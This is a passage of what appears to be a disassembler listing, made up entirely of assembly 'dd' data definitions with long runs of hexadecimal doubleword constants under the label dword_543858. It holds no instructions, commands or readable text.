		dd 12460035h, 0D04B186Ch, 0F1C738FCh, 28B18E61h, 0B3F41EB5h
		dd 17471E42h, 821040BDh, 0C4E170B4h, 0CF9CF300h, 0DE396633h
		dd 54BD000Dh, 1D3EF544h, 0B83D8AADh, 7A960040h,	0A2C17503h
		dd 0C49A162Ch, 0D86C00A8h, 7EA7E1D2h, 0F7F6830Eh, 83E00E03h
		dd 0E1F024F3h, 0DE8EE945h, 0AB076232h, 3C0DE13h, 0FA1589ACh
		dd 0F7B24D05h, 5987FCD1h, 80F10473h, 13E0E58Ah,	0EFBBFDD6h
		dd 46D8A301h, 2FD8DE0Ch, 8B7D0019h, 1857FB56h, 0D00026BCh
		dd 0E3DD593Ch, 3F14BF4h, 1378C3F3h, 0AF984A86h,	8E0169F7h
		dd 0CFBBF63Ah, 0D5F06D45h, 5C8F31B7h, 409B2B18h, 0A4D641A8h
		dd 0CC218A01h, 4A6E125Fh, 8810433Ah, 6C800B61h,	0A67CE146h
		dd 4FC30918h, 0A5D7021h, 4C84975h, 7CD10CDCh, 21C03B08h
		dd 7275258Bh, 0A1470038h, 61AADB79h, 966007EBh,	0CEA8C750h
		dd 0E71338EAh, 9A3E7E80h, 0AC262AADh, 1E00F37Dh, 6BD8B719h
		dd 0F227D01h, 66353461h, 0ABA99040h, 23006A04h,	0F3F51164h
		dd 7910BAAEh, 28160302h, 689BDAEEh, 0C33D2CF8h,	897CB302h
		dd 6060D11Ch, 679C2Eh, 735715EAh, 11B11E9h, 50CE6600h
		dd 65A3C9B8h, 22E800F3h, 3BF71E15h, 4478602Ah, 2287500h
		dd 142D2947h, 89100F2h,	0B176117Ah, 550443B5h, 9BC628DAh
		dd 45C39E80h, 4C67071Bh, 80F91E8Fh, 0BAB8046Bh,	141E267Fh
		dd 155D0EC8h, 4D217618h, 0C9B73BECh, 0B1216400h, 0FD72B5EDh
		dd 31A58B40h, 39688C28h, 1906D5h, 79FD2BC3h, 0D39C3F54h
		dd 30C744h, 0B3504B7Ch,	0C39D5FF7h, 32590407h, 208F4840h
		dd 3BAA613Eh, 0D1E892h,	95107863h, 7A1CDBCAh, 253F13FCh
		dd 218C307Dh, 943817h, 27F7DDDEh, 0C767869Bh, 993A46F8h
		dd 615800D4h, 0BD1CB71h, 7CCF06E7h, 8A14E65h, 0F2004D9h
		dd 2D2A70h, 6BA777DBh, 0FE57AFFAh, 8535030Fh, 0F32B8073h
		dd 0C193390Ah, 681258A0h, 0D9B08045h, 0C0714CA0h, 0FAF400B8h
		dd 3CD4789Eh, 530076F8h, 45628C6Ah, 6ECB5E10h, 9182119Ah
		dd 1B006B68h, 27C8DB71h, 1E7E3C6Fh, 67F51800h, 0CADED6h
		dd 1DB58539h, 8A48EE07h, 7889D700h, 0A8B9E415h,	552E00E5h
		dd 0FF47FAD1h, 70009219h, 88BA78EEh, 3DD7DF8Ch,	43EC154h
		dd 2C680A80h, 3DFF5B31h, 5C697301h, 0F00F19A3h,	0AC6BCCh
		dd 1BBCE2C3h, 0D736BE74h, 50B53000h, 457C40F1h,	0B05B0021h
		dd 9932AAC5h, 0C2008403h, 77046557h, 7C8B1422h,	5DBA0B15h
		dd 1E20B093h, 1844B34Dh, 0EEFC2A00h, 329AAEC8h,	0CCA400A5h
		dd 311C0390h, 4F3FABE0h, 0EBDF00D3h, 976D066Ah,	0D0B7003Eh
		dd 903412F5h, 3A00B5FDh, 0AAC7EF0Ah, 19A507h, 0FED7DCF2h
		dd 486389C9h, 923A78F2h, 0C72E8126h, 0B2299BFDh, 3C1BDFCh
		dd 0E32D4A50h, 11B88317h, 0FA3857BFh, 6600F8DDh, 67E0912Bh
		dd 0D85F46h, 50031978h,	1B897D07h, 0E29C3550h, 953EC5F6h
		dd 0EA7905EDh, 0E4013C8Eh, 0B7F3316Ah, 7C26E0h,	6C82E89Bh
		dd 7EEF8ABh, 6F975600h,	5C0408A5h, 0F6590347h, 0EDE0602Eh
		dd 695D52B0h, 14E00892h, 0E8FF2000h, 4E6A7CAFh,	0C5C73B2Bh
		dd 89510480h, 273C68CBh, 0B3B34026h, 6EE2FF00h,	18F839C4h
		dd 78E714E0h, 0DC004508h, 701E336Dh, 0B03F58h, 35B31C13h
		dd 8DA3A7F1h, 759B3600h, 0F5F7E11Eh, 0E256075Bh, 0C2D90F22h
		dd 65C096AFh, 0EC75CB9Ah, 0E3EFB500h, 52FCBFA5h, 4A05009Fh
		dd 716B4744h, 43303ABCh, 0CCA578F6h, 5A3600CFh,	7B91C031h
		dd 2DE07E92h, 5E06EB00h
dword_543858	dd 764EF272h, 0A10302EAh, 0A1088A4h, 0D769A481h, 0F32A0061h
		dd 45901CBDh, 4066129Ch, 0E3E70558h, 4A00BC5Ah,	0D14CA117h
		dd 0DC5E43h, 0AE5E4B2h,	0FD3C29D0h, 47CA88C0h, 3C3BDEAh
		dd 4B817E24h, 92C0EC4Ch, 68FC5455h, 7600C675h, 16A40F25h
		dd 0EC4881h, 9F1D4AA5h,	2496B558h, 2EA2200h, 7E3525Ah
		dd 0E2D0A18Dh, 0BC13A447h, 337688B1h, 1DF00188h, 0B42B52Ch
		dd 6D80807Bh, 2799D996h, 0FB7A000Dh, 0F5C51251h, 0C903485Ah
		dd 7194A1F3h, 9639BA0h,	0B24AC0E1h, 6BA52700h, 0D0F8D62h
		dd 60DEF528h, 1D24D814h, 0F7D63082h, 0A516C760h, 0DAF4A807h
		dd 8620FA18h, 0D139BFh,	23D3810Ch, 66AE0D62h, 473020F3h
		dd 13B60084h, 0E6C3FE1Bh, 873ACAFCh, 0E08E00ACh, 6A7E9C91h
		dd 0A67401A9h, 576006ECh, 3810F882h, 3D738602h,	68A88559h
		dd 2DC214h, 0D442266h, 86ED6C48h, 73AC7F00h, 1493D145h
		dd 52390096h, 1D98EE05h, 0E700A297h, 59A7C2D9h,	3D0D3D80h
		dd 0F28E8F6Dh, 86E0E627h, 111868B2h, 0C2246118h, 549F11h
		dd 127BFA56h, 0FC31DDE2h, 8BDF58h, 14463D44h, 48A6C362h
		dd 0A8000247h, 4C40F87Eh, 5E0EB9E8h, 805BC059h,	0B0619FC8h
		dd 0EAA0190h, 67F035A6h, 0F2B0EF97h, 0AB1F2EDEh, 0E40347D0h
		dd 8B34C6ADh, 9D8000A7h, 41CF7D2h, 8D054BFDh, 67CE86BEh
		dd 11A7A800h, 7C6A7372h, 69402477h, 0C2AF80FCh,	0CB7D3DABh
		dd 6E8584A0h, 2A9F0400h, 0FD8C300Ch, 0A06F1659h, 0B51D0095h
		dd 0F5C27D64h, 609BE603h, 0E83B4753h, 5DD3B3h, 189E4C37h
		dd 7391D9BDh, 7A025E0Bh, 57DC809Fh, 55CE37Eh, 26BE8BB5h
		dd 472C9060h, 4A003B13h, 6D5A7C79h, 58E5F10h, 6FF0FAC3h
		dd 0E9E000EDh, 0A1C6381Dh, 0B772571Fh, 0D9ACBEC0h, 984227EFh
		dd 1AEC0124h, 3002671Dh, 0BC89F0FDh, 40C01671h,	9C3E3EBh
		dd 0C91E00FFh, 0AFC0A3E0h, 6D074418h, 7ECE6E62h, 645742D0h
		dd 0FD490229h, 0C39605A4h, 0C17C4448h, 78FC8F00h, 67F1EF16h
		dd 59B8DAh, 0E0DF3EC8h,	6C384137h, 1A925D00h, 6687F117h
		dd 45540078h, 2B887D5Eh, 0AE053228h, 4F534771h,	0BAC7B400h
		dd 0F08D52h, 6D0FE220h,	5BAFF464h, 968F7B00h, 5888519Eh
		dd 0C4013BC9h, 3E57C00Fh, 0AB00354Fh, 0CA36A94Bh, 969A4A00h
		dd 8A9E9DF7h, 6910C0C9h, 1BDEA67Eh, 3AF63403h, 0F04263A3h
		dd 5D8B0Ah, 0F38C90E6h,	7695BD25h, 0B2970C1Eh, 0CD105140h
		dd 0BC45ABh, 18F80971h,	88986C9Bh, 4C3A2377h, 806BBB12h
		dd 0F5EE5CC6h, 4F83FBh,	0EB15933Ah, 706EBB58h, 0B854FF00h
		dd 0CDFE3562h, 338D00C6h, 2B4C315Dh, 770F34C5h,	0E36D6BBCh
		dd 0E095EC79h, 0F02D03Bh, 0D9E8CE70h, 3C5080FFh, 3FE582D1h
		dd 2A805C00h, 6A356E87h, 7E1F64Ah, 5B9A41DCh, 108A77B7h
		dd 0C45D248Ch, 7671217Fh, 6B3D190Fh, 0A5444A54h, 0E2B71300h
		dd 3E53352h, 0F0DEDC98h, 80E50FF7h, 80C05FCh, 0D7859E18h
		dd 121A5Ch, 5B767D44h, 9DC6E4D3h, 2B575900h, 83618995h
		dd 6606034Eh, 85F10824h, 55195100h, 877A450Ch, 43E30730h
		dd 90C04692h, 1E50B8A2h, 75007892h, 0A92BB5C2h,	0FCB44426h
		dd 0B97200ADh, 50FFB7Fh, 3D009741h, 9837BEA3h, 0A0682Dh
		dd 48F5CC7Ah, 0E9156BDAh, 320CBA00h, 50D53F7Fh,	7625002Eh
		dd 0F288C70Fh, 222C1244h, 2F0050A7h, 30374686h,	0A61B174Dh
		dd 70043B0h, 91002675h,	0C6D04515h, 74D124D3h, 78614E0h
		dd 1B141030h, 9071C8Fh,	0FC06469Eh, 0C33BFD08h,	8F4001DAh
		dd 95057DDBh, 38802CC5h, 154E4717h, 62E4466Eh, 3E29CA16h
		dd 11694C19h, 52FD70C8h, 1580509Dh, 0A8EB262Dh,	0EF6E8E0Eh
		dd 0F1778748h, 6CECEE91h, 7FE9CC24h, 3B30DECBh,	684E3F00h
		dd 85011377h, 35306100h, 0D6E2BBC3h, 53D807ABh,	0BC89C4E3h
		dd 0E7056DB0h, 6A34EC61h, 0E8CECC0h, 0B3943D4Ah, 0B702E400h
		dd 337F18D3h, 0DE6BC300h, 5DF9D71Dh, 522F00CAh,	8FDDD485h
		dd 8D129649h, 3200D0B9h, 2861093Eh, 7EB100DFh, 7425130h
		dd 96162B1Fh, 6100BF57h, 6682B0DCh, 774100D2h, 0E66BE792h
		dd 3F00B718h, 47BF7D54h, 364DFEh, 496FAC1Ah, 0B96BC578h
		dd 0F45AC328h, 46A03Fh,	2CF081Eh, 59DAE77h, 0F6EFEA41h
		dd 54048060h, 6E009AB3h, 3406691Dh, 1F0C4428h, 8165233Eh
		dd 137542C7h, 88C680A4h, 0CF0BEF2Ch, 8E78012Bh,	0AD615415h
		dd 33F1F0A0h, 18321F30h, 40254F6Dh, 0B10AB7Fh, 0AE1456A7h
		dd 0F802C08Bh, 6D153A9Bh, 8082C8A5h, 67176439h,	0EFB04E19h
		dd 219C9E09h, 0DEA7C7A2h, 57033328h, 3443584Ah,	0A00DB8EAh
		dd 1FB42B9Dh, 1C926C20h, 4295D27Ch, 0E9C4AC10h,	47FEF660h
		dd 0AE076E12h, 21A4340Ch, 0E9DC004Eh, 6BAF271Ch, 200FDF2h
		dd 6C7B3C18h, 50EFBD9Dh, 8C6B2C98h, 0FFE9C702h,	1646D62Fh
		dd 0E9DF4717h, 49B37D01h, 10F39338h, 8DDB50h, 5D0121FDh
		dd 232AADh, 0D6514569h,	0F57B2930h, 5A3060FDh, 58DA6214h
		dd 2261E004h, 3020F8E9h, 0FA19DB7Ah, 0A698A612h, 6507ED1Ch
		dd 31081D58h, 0C020C059h, 0F1CA6EBh, 3EE44A0Fh,	0BFAE1FEh
		dd 64F9DC8Ch, 29BA1D8h,	0E50C51DFh, 6860048Eh, 0F8005B99h
		dd 5F307D48h, 1FDF65Ah,	1B1736E8h, 806504F1h, 69E59390h
		dd 62E04Dh, 39C8D881h, 4F5D5F0Fh, 6611F303h, 267EE2Dh
		dd 0E20CDA20h, 209ECBD0h, 0EFCA310h, 0DAF645DEh, 4017C4E8h
		dd 9EF28284h, 9F0E1922h, 0F9DFE67Dh, 218F9308h,	6E2BCAA2h
		dd 6FCFAF81h, 9CC0A05Eh, 0BCDBE509h, 20688FC1h,	0EC2B0981h
		dd 0B08D0CC0h, 3B28B4FBh, 595DDF02h, 0A1B6E4EDh, 2558E8A0h
		dd 4E9B858h, 358DC9A6h,	20323206h, 7FA9E2BFh, 399DC3Ch
		dd 8FC6BEE7h, 0F8A1297Eh, 188C5968h, 36190290h,	0C4F3BB45h
		dd 0A9B8F460h, 0D8F78028h, 9B5D4602h, 805B1E5Eh, 42DB3EB4h
		dd 612F040Fh, 90446DABh, 0F6B93B20h, 1EBCD803h,	82BDBA1Dh
		dd 39284121h, 0A61D1518h, 11238DC5h, 0EE9B0134h, 0D40BBCA6h
		dd 5E0DE041h, 0E9E36B00h, 797A1318h, 42910h, 0C6CBD290h
		dd 2AFA6997h, 5A22EC07h, 0E0DF5114h, 0F4624912h, 60E930A1h
		dd 1BCAFAF0h, 0F6681701h, 0A4DB5CFEh, 21F80898h, 1B00D42Ch
		dd 0CAD88052h, 759F7B88h, 0F8D90407h, 87F128DBh, 31E7566Fh
		dd 0EC9C1400h, 0DEDFF6CBh, 0E8B3077Ch, 86ED7353h, 8D12D104h
		dd 144143D8h, 66EE355Dh, 2FE8C092h, 0E2F23B4h, 9EFC8F56h
		dd 0AE08E19h, 976404E1h, 3841C259h, 0D0FDD4DBh,	5A3F937Ch
		dd 0AFF45469h, 0ED10A914h, 0AA8A03E8h, 6E4B217h, 3967C411h
		dd 88A14016h, 4BC18EEh,	0EF19349Eh, 2391327Ch, 29C8F4A4h
		dd 0F106EB8Bh, 682E155Eh, 0D90713E0h, 9C2C4350h, 23D94464h
		dd 39844060h, 2C3351B1h, 0B82180FCh, 2B380BAh, 4C07D02Ah
		dd 622016EDh, 799E6A1Ch, 2313000Bh, 0F57D2EE1h,	0A50F8A4h
		dd 48CF0F0h, 68131BC6h,	20E262D6h, 6C1BD090h, 0B2056F00h
		dd 76174C2Ch, 0F9973B8Ah, 0EE1580D0h, 0AC0B509Ch, 0B6675CC8h
		dd 7FC302Ch, 0CC7368D7h, 7500EE99h, 2789AD3Eh, 0D94814h
		dd 59535029h, 86D2BE24h, 7D407A6Fh, 5A170AA0h, 42B8FE88h
		dd 0EA1133BDh, 9E04B818h, 7DCF1938h, 0A0238532h, 11DBC8F0h
		dd 162D00ACh, 8031DE77h, 7801E92Eh, 0AFD76B48h,	0B440873Fh
		dd 0FAA5D817h, 5A230C36h, 5C80F17Ch, 911FD892h,	88B47967h
		dd 1703905Fh, 18EE4CAAh
		dd 21D16FA9h, 385459B7h, 0F804CBD8h, 50245A15h,	983FB480h
		dd 263DEE09h, 6A446289h, 86465C24h, 4FCE451Eh, 4CCAD325h
		dd 348D0894h, 0E051DD06h, 44A09271h, 7FF88307h,	14F08861h
		dd 0FFDCB508h, 0C63B1815h, 0EA8438CBh, 20E38E44h, 0DB085E3Fh
		dd 1FB0B7CFh, 5BBD09ACh, 0EF45C05h, 29B8D096h, 380078DAh
		dd 36C4B91Fh, 66DBDE86h, 212E0826h, 1F211A00h, 174F7430h
		dd 0F6C02A8Ah, 0FA231C94h, 0DF508095h, 4A464518h, 0E6DC9707h
		dd 0A942CC84h, 2A046182h, 0A60B1018h, 1C1D8DC8h, 109A58B8h
		dd 39896900h, 0D2D0EEC6h, 7D0E4A02h, 806112A1h,	539529A8h
		dd 0BCF4CCh, 284C7001h,	793886EDh, 48079CA4h, 3AF2D73Fh
		dd 5EFFF790h, 0EF803E9Fh, 6B498F81h, 0DB0424A9h, 0D1880895h
		dd 0BE1F21CFh, 2C181EC4h, 5201B88h, 0C8E9521Fh,	66F04063h
		dd 0D1F9DB29h, 94ACB849h, 1EF2380h, 192F9EF1h, 873833E7h
		dd 4390C9A5h, 0E2932604h, 7D3A2015h, 0E14CD0A0h, 0C0179E6h
		dd 2A8B8411h, 0B062E912h, 323034F2h, 0D01900CFh, 0C4F6CA76h
		dd 0B8C981F9h, 4818047Eh, 0F1C83CCBh, 0CA47E0CEh, 3FF1112h
		dd 0DB3F563Bh, 0B89E6652h, 0CFD0F8E5h, 346F8300h, 50F6E511h
		dd 0B021F7D2h, 5AC0FE4h, 236C29EDh, 19C6FE6h, 8DD0E00Ch
		dd 198C6572h, 9BF80A62h, 0E05D8C2Ah, 0AB143E00h, 7799E93Bh
		dd 47A0176Dh, 2E204117h, 725AC66Bh, 83C80228h, 0C4B3DFB0h
		dd 80CA2070h, 0C0DBE405h, 38807309h, 3E55AC2Ah,	0C501D8A9h
		dd 0F05215CBh, 2330220Ch, 1F3401D4h, 1856C4BDh,	3D1E8854h
		dd 16641F0Eh, 9A72E039h, 17E12B98h, 434177C3h, 75575D04h
		dd 99E30CE0h, 7E60495Ch, 8FE141CBh, 27DE82Ch, 6915DCBCh
		dd 179B88A1h, 0FEA2E08Bh, 0BA7840h, 14EABFF3h, 952D661Bh
		dd 48F86133h, 481EC259h, 30B2192Ch, 0DED008BCh,	80A1B915h
		dd 0B172CCC4h, 2C2E62F0h, 6D0CAF23h, 786F8947h,	0B0660079h
		dd 7721DD3Dh, 34FEBD57h, 0C0237400h, 0C5F63B5Dh, 0D930B59h
		dd 0AC2E5ACAh, 4C0A6BFh, 86B2B7h, 128D5261h, 819919DFh
		dd 0E2A06130h, 0F74C4048h, 0C875AD04h, 1F80672Ch, 0F69E5EDCh
		dd 134F3B16h, 6434E538h, 0A5D001D8h, 6041C017h,	0D1CF9090h
		dd 6B10D883h, 0BC550692h, 0F8443ABBh, 0F80BF020h, 0E4660C95h
		dd 0C3A83523h, 2B048091h, 0B0910B7Ah, 0E8D7AC8Bh, 0F47BAE3Ch
		dd 503E0FCCh, 5C20162Fh, 14236836h, 0D8BCCB32h,	0D8F06051h
		dd 5EF801B8h, 0C47631EDh, 0C65DD895h, 2274670Bh, 0A9500153h
		dd 2006EAF0h, 0D9C89A60h, 59B003C8h, 387188F3h,	0A4D059DDh
		dd 0B88F0065h, 600EA058h, 0E9039018h, 0A4F0D23Bh, 0B976F9h
		dd 19D6B41Dh, 91D7CD17h, 985BEF01h, 9DD1FD92h, 5CC26CE4h
		dd 432E4F5Ah, 3790C50h,	9E00FEE9h, 90480920h, 9E3BC77h
		dd 95C18DCBh, 60D57804h, 2CF21F2Fh, 73303EC4h, 41903CF3h
		dd 28018074h, 0B985DF2Fh, 7ED5E08Dh, 5A1EBC22h,	289D6565h
		dd 0B5803611h, 0B378C95Eh, 86D9AD00h, 0F2E0D4A7h, 858A00FEh
		dd 0C6F4C119h, 8317C5A4h, 0C4403BB6h, 4E46E270h, 265EA61h
		dd 3C54796Bh, 4665A14h,	12E4BA58h, 0CC07FE49h, 19C4AA15h
		dd 5D3C1880h, 0D2D4A352h, 6D588728h, 87F93Ch, 215402E9h
		dd 0F7809AFDh, 1DDD9600h, 38489E6h, 4504B899h, 0C048870Bh
		dd 21E9A969h, 80BCD948h, 41D38870h, 1B15D896h, 2C44C0A7h
		dd 97C69F60h, 48B8F977h, 0D9BACD00h, 0AFD06CDCh, 5BC8063Bh
		dd 689C40F8h, 0DF55A07h, 21A50FDEh, 53EEB0D0h, 1FF0982Ah
		dd 0E67D8299h, 0E17EB91Ch, 0B8E0C802h, 0EC002DAAh, 23164B69h
		dd 5D2451DFh, 560260FFh, 83EECA93h, 7023209Ch, 2FF816A6h
		dd 862314h, 0DB606162h,	1750E228h, 21DE5D97h, 72C79003h
		dd 8A11008Eh, 0ABD80893h, 0F60097D2h, 4A19636Fh, 1F79A899h
		dd 1E20B782h, 0FE2B40DBh, 0C4B8ED05h, 20F54DF2h, 83546808h
		dd 608A04E4h, 9CB6BF28h, 276392ACh, 0B8F08084h,	12004F19h
		dd 61AF51FCh, 0FE6C47B5h, 0B9CB0074h, 0C7FB9E27h, 40C0862Fh
		dd 9265C438h, 1A7F74DBh, 0B8F56E9Bh, 16CB6020h,	970031D3h
		dd 0C76254E3h, 7AF9CAB5h, 98F200BEh, 4D115C8Ch,	0D7091429h
		dd 2954FA3Dh, 0BBF00054h, 2517CCB1h, 7CA32D5Eh,	70E95B83h
		dd 6482C560h, 0DF7DA878h, 21208812h, 43018849h,	661AE06Ch
		dd 0F3170781h, 0DB1968C2h, 2E770C80h, 780769E6h, 4D6FC3DEh
		dd 0DD00984Ah, 0E3ED5C6Ch, 6D89C9FEh, 0EB405412h, 4200772Ah
		dd 3DA40E21h, 98C179FFh, 0E99706EDh, 0F97F73E0h, 4ED85E00h
		dd 96889C65h, 6D6F0052h, 0D76B5DAAh, 0FB00C134h, 0C80FE74Ch
		dd 0E15D2C7h, 85947BD5h, 4691EF60h, 8738DEEAh, 1709800Ah
		dd 53BF8333h, 0E17468h,	63D7119h, 4361E9D2h, 9C847D0Ch
		dd 0C0760833h, 0D22E1F21h, 3A076341h, 2EEB4A8h,	76DE0FC0h
		dd 44EB00F8h, 0E61C03C9h, 0E7C664Eh, 0C319D11Eh, 0DD40F498h
		dd 44BA03DFh, 0D38D767Eh, 0A45D1EB8h, 0FD2116D8h, 0B4D0352h
		dd 1D1065Fh, 0B61679A8h, 30EEC738h, 1E7F89DEh, 0E3C000C1h
		dd 77459C1Dh, 0B201C5FAh, 33EF0351h, 288035F1h,	0A4C45A64h
		dd 0C601BD69h, 0EEF5B5B2h, 4980DD33h, 9B64C1EAh, 38C302AFh
		dd 6208DDEh, 0E6181A31h, 6D0F1993h, 806B85C4h, 17AF7FA7h
		dd 0BFB0C012h, 5A15A79h, 3EE38401h, 40739CF4h, 218018D1h
		dd 2CA0C243h, 0AC00FDE1h, 0C37E68EDh, 0F21CC617h, 0C6C0954Bh
		dd 0F71303CAh, 0CF0CC51Ah, 102103Eh, 0E90DD0DBh, 0F0875D52h
		dd 53126BC8h, 130E57B7h, 0B443C033h, 0EB3A4Ch, 0AF05AE2Fh
		dd 5B229247h, 0BA4FB201h, 0F9EE8FC9h, 0DA73C0h,	9BA916ADh
		dd 0CAE06F83h, 80D16B3Dh, 1F3FCEAFh, 0FDD00Dh, 4851AA2Ah
		dd 225586F1h, 0E0F8B03h, 8B46D132h, 0CD1DA0A7h,	974F0159h
		dd 873D62Ah, 4BCEDCB9h,	0F77D0D78h, 27369900h, 910C59EBh
		dd 0CC8B0079h, 0BBB8A64Ch, 0D9016703h, 217DB406h, 0A4F00DFBh
		dd 47F90066h, 4DEF6DEEh, 88387B69h, 0CE1700CCh,	0D435D283h
		dd 0AE0B00D8h, 18425CAAh, 0B800BB92h, 0A7E5BD0Ah, 191629Fh
		dd 3B9B4C08h, 8031937Ch, 29192840h, 79AA4DDh, 71C249F9h
		dd 808577C0h, 39FFD41h,	0BF8A310Eh, 68B940FEh, 6267FAB8h
		dd 0ACEE18CFh, 88F67823h, 9FF04Eh, 0B70B4175h, 961C23C8h
		dd 2ADC100h, 2DFECA9Ah,	0E1D918CCh, 0F847C17Ah,	0A5516D00h
		dd 0E615FA8Fh, 1D8300EAh, 0D68BBB7Ah, 0A80005CEh, 38DEFE42h
		dd 1F492684h, 0DA90B55h, 30193F70h, 4139B03Dh, 989FBD78h
		dd 81608B15h, 0E7D98D6h, 0C2BDA90Ah, 0D491818h,	0C3CDB807h
		dd 81E04AA2h, 18273h, 5BB077C7h, 6D843D40h, 0B853211Dh
		dd 6C81A580h, 486BD5BEh, 0FF38CBB7h, 139F880h, 0CC95D0E9h
		dd 0C4EB8E00h, 0C6ADB59Dh, 60D474FCh, 0C2E22159h, 93C8D8Eh
		dd 2E037998h, 902266F3h, 57DF908Ch, 0BE600077h,	0D3BF56D7h
		dd 0CA07F44Ch, 0EE0135D1h, 4938A6h, 0A2747E79h,	31CB0B21h
		dd 3BF9D870h, 6F815CB0h, 300330B0h, 52F8428Eh, 0D6191BFBh
		dd 0CF08E32Ah, 1C8721B8h, 208AAF41h, 22919340h,	0B4B3F800h
		dd 5F28E7F3h, 0EE68C442h, 0E989182Dh, 0A8CC0051h, 0B623C7B8h
		dd 2240DE24h, 0D021C0F9h, 0B9FA7397h, 9D7CF170h, 0FF194D67h
		dd 0DEC320D0h, 59CA1CD7h, 1D308EBEh, 2A611240h,	9100F58Ah
		dd 32D1E5AAh, 4972E4h, 1723C6E7h, 847EA064h, 7C74077Eh
		dd 5C000CFEh, 0D0916677h
		dd 6B70ABh, 6F4426DCh, 35B4E976h, 597EBA1Fh, 2113103h
		dd 6B6A8C7h, 0D20A26E8h, 8AD90756h, 0C010B7CCh,	0AC605516h
		dd 494C64E2h, 0BB38001Ch, 0D92AEC9Bh, 9CFD009Ah, 0AC0D90DFh
		dd 98073720h, 89E44939h, 0CFF3D790h, 0DD6600C8h, 135EA4C2h
		dd 8C1E1532h, 48050BAh,	7B72B1A8h, 2EAA0BA9h, 4E7CB3CAh
		dd 0A3C03A1Dh, 921933E5h, 639A2CD7h, 29FA0044h,	9CC6D970h
		dd 74000676h, 1BFC5325h, 5BDB1DB7h, 5D25B0F5h, 4A5EB302h
		dd 0FD657C0Bh, 8802E160h, 0C4D57D00h, 9A16F3CDh, 70AD1C80h
		dd 78C0C7BDh, 124310A0h, 47000A51h, 8AD2CE14h, 72B8E304h
		dd 0A94D5898h, 90B5CA00h, 0A5B3D606h, 0D1587700h, 2C22ADE6h
		dd 23960081h, 0CD879AFCh, 8500FB64h, 7166C938h,	12D9B6h
		dd 485EEA26h, 984E1323h, 0CB07F176h, 0C2A6AE60h, 1A28F710h
		dd 0ED8D0089h, 0DF9F163Ah, 83FC2FD0h, 62712B03h, 0B87A78DCh
		dd 0F207CDh, 934F035Bh,	3218219Ch, 0AE7D6800h, 34C38835h
		dd 2A160091h, 62A3617Fh, 0D37EDFC5h, 9F6A700h, 1FDE22C2h
		dd 79FE1CF5h, 83F9C01Dh, 1651BBBCh, 0FA9DEE00h,	76FD9B6Dh
		dd 0AF056h, 201270Ch, 0B11367E8h, 177F5E00h, 0D49FCE2Bh
		dd 99E22C48h, 44030310h, 0C2CA7931h, 9A0E9080h,	0FEE2456Ch
		dd 0CE102E00h, 63DE86B6h, 9D3C07D4h, 7071397Bh,	3F0B3D9Bh
		dd 79519E05h, 4280D858h, 0D1496Bh, 0EBD41DFCh, 0E4D2C610h
		dd 30026A00h, 6F760B71h, 977A01h, 0B0C55E41h, 0E8D4E24h
		dd 82BE5201h, 7CDDF0C2h, 1F71C0E4h, 0C0E7274Ch,	66E043FDh
		dd 460031EAh, 95EC7CE1h, 11EF38Bh, 2124A07h, 0DCFBF2E5h
		dd 1D15E8C6h, 390FA15h,	0DC4054E2h, 0C7CA1C8Ah,	6479C382h
		dd 5898FBD6h, 4B1C3DADh, 75803EFAh, 0CE352963h,	0D03300AFh
		dd 0A41473A6h, 61001EC6h, 504C7995h, 7F2BF6Ah, 0BCA7A59Eh
		dd 173A021h, 0E4013171h, 0B21B0944h, 45309FBAh,	37B000Ch
		dd 79F47A89h, 0BD0974A1h, 2031B24Fh, 0DA1C8F53h, 680700F6h
		dd 42EABC33h, 0D61D10DEh, 0CFDC9FDh, 4083D773h,	58C60055h
		dd 26D33CDAh, 861CDF10h, 0CCC0E6A0h, 0E71D8AE9h, 6B3749Ah
		dd 1650075Ah, 0CF0068ECh, 0DAE0A560h, 3C971F7Ah, 0C00062B6h
		dd 9065558Dh, 9F00A375h, 20ABFF2h, 0E3E64Eh, 0D62C3554h
		dd 0AEF5090Eh, 84205307h, 55F0B1B3h, 5406D0h, 0F431F799h
		dd 0FB9892F1h, 0FD0EB600h, 763EF94Ch, 3D7500F5h, 7727E7DFh
		dd 9A00CB80h, 91C1500Ch, 2CF23CCh, 66241084h, 6860BA44h
		dd 8A03BF9Ch, 20B324Ch,	0C464D891h, 4DB10636h, 0D10540B7h
		dd 0BD1C9209h, 73582029h, 24F34DE5h, 38E0F9h, 592F97A1h
		dd 0B0028ACh, 3082EE5Ch, 0D47717AEh, 51001469h,	434CBEB9h
		dd 8D707DEDh, 5F55852Ch, 0BE14202h, 2E9B4058h, 37320376h
		dd 0C31F4616h, 12C57000h, 61BEF311h, 0AA880E19h, 4B00F5D4h
		dd 0CBB42189h, 53BCC200h, 205438EBh, 68B80E8Bh,	4221F0E8h
		dd 80D9F135h, 0AB1D7B48h, 240C5AC6h, 9CC809B5h,	0EE5000B3h
		dd 6D479D4Bh, 9E191064h, 46A46280h, 0B91A0044h,	533C3982h
		dd 240FC148h, 0CEC7BD9Bh, 8396E0F8h, 98CBA0EAh,	0F00E0098h
		dd 0A1010C45h, 5B001266h, 0BD042586h, 3762FB5h,	0A7A8ADEh
		dd 69A7C3B3h, 5D90A480h, 5600B2DFh, 0BD6A2F60h,	3AB563h
		dd 0E14186D4h, 37533E42h, 7E1D20B0h, 2DC057F6h,	6CD32931h
		dd 0C5DD009Eh, 21D98B9Ch, 913E080h, 44001BD8h, 0E44338BAh
		dd 0C3F603h, 4DA9B2C0h,	273F6647h, 55008CE0h, 1540D4D5h
		dd 56C6CEh, 1641A543h, 7EA6988Fh, 5D7CA0C0h, 14021B8h
		dd 0B2C36F2Ah, 20C7EF85h, 0A100343Ch, 1F1DCE5Ch, 7D4E983h
		dd 6213F5F2h, 8233B052h, 5416B432h, 4E00970Bh, 0F77B5042h
		dd 0F3AB50ECh, 2DF5245Eh, 0DB670014h, 0E7CF4554h, 0C1027131h
		dd 0E340C783h, 52A84C6h, 0E7AE459Ch, 60105F6Ah,	0C32B3E40h
		dd 3F68FE08h, 36602078h, 0CA29A610h, 202F60D4h,	0B4026F51h
		dd 627E5A01h, 6AF98EFh,	8092309Eh, 45BA6697h, 2B3D229Ch
		dd 0B1168009h, 54F2D6A1h, 836821A7h, 84733D00h,	0CE393Ch
		dd 1F5F7FE4h, 0CAED5B0h, 0A5018C75h, 0C0B28FC7h, 147070F2h
		dd 0D20B0003h, 4060518h, 3100D899h, 4659958Ah, 0F6F7D5E6h
		dd 899700A5h, 1EB0A2D2h, 0A900BA98h, 9348AD50h,	0AA1D7Ah
		dd 25B4058Dh, 0B5CE7C4Eh, 5A195C00h, 0E1E495A2h, 5DA73F83h
		dd 62872001h, 7E7F1D60h, 9A60E0h, 0F3951F3Bh, 5AEC927Eh
